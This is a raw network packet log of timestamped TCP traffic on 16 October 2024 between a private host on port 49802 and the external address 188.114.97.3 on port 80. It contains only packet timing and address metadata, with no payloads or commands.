                                                                                    Oct 16, 2024 10:58:24.610970020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610987902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610996008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611016989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611031055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611042023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611052990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611053944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611063004 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611066103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611083984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611104012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611109972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611121893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611131907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611141920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611151934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611151934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611165047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611172915 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611186981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611211061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611251116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611263037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611273050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611283064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611289024 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611295938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611296892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611309052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611311913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611320972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611335039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611339092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611349106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611358881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611361980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611376047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611380100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611396074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.611397982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611433029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.611433029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.612581968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.612592936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.612603903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.612608910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.612638950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.612649918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613374949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613399029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613409042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613456011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613468885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613468885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613468885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613468885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613481045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613533020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613533020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613533020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613544941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613557100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613564968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613579035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613584995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613586903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613586903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613605022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613615990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613626957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613636017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613647938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.613648891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613648891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.613711119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.614756107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616167068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616179943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616190910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616209984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616233110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616276979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616287947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616298914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616317987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616339922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616384029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616396904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616406918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616424084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616444111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616626978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616648912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616674900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616697073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616772890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616786003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616797924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616810083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616811991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616822004 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616831064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616838932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616846085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616848946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616853952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616866112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616878986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616894007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616900921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616905928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616919994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616921902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616962910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616962910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.616971970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616982937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.616992950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617007971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617017031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617021084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617033005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617046118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617048025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617048025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617058992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617069960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617073059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617079973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617084026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617099047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617109060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617117882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617130041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617134094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617141962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617147923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617163897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617180109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617182970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617202044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617213011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617216110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617225885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617234945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617235899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617244959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617248058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617263079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617274046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617275000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617285967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617288113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617299080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.617316961 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.617346048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.654653072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.654675007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.654685020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.654714108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.654757023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698055983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698077917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698091030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698102951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698113918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698124886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698128939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698137999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698143959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698149920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698191881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698209047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698246956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698256969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698268890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698292971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698298931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698302031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698312044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698344946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698376894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698386908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698415995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698427916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698478937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698487997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698498011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698508978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698518991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698523998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698523998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698540926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698549032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698828936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698839903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698851109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698870897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698889971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698962927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698973894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698985100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.698997021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.698997021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699023962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.699038029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.699060917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699070930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699081898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699091911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699103117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.699110031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.699110031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.699121952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.699146986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.711910009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.711940050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.711951971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.711956978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.711977959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.712006092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728589058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728600979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728614092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728637934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728640079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728650093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728662014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728673935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728677034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728686094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728699923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728718042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728738070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728789091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728800058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728806019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728816032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728836060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728844881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728856087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728867054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728867054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728895903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728914976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728923082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728928089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.728948116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.728976965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729013920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729027033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729037046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729046106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729048014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729059935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729070902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729072094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729084015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729110003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729125023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729311943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729321957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729332924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729342937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729351997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729352951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729366064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729372978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729381084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729391098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729393005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729406118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729414940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729414940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729429960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729437113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729441881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729449034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729454994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729465961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729477882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729477882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729489088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729500055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729501009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729516029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729520082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729532957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729541063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729545116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729573011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729588985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729777098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729788065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729798079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729809046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729809046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729820967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729827881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729834080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729840040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729846954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729857922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729866028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729870081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729880095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729880095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729892015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729902983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729912996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729913950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729932070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729939938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729943991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729950905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729957104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.729965925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.729968071 CEST8049802188.114.97.3192.168.2.6
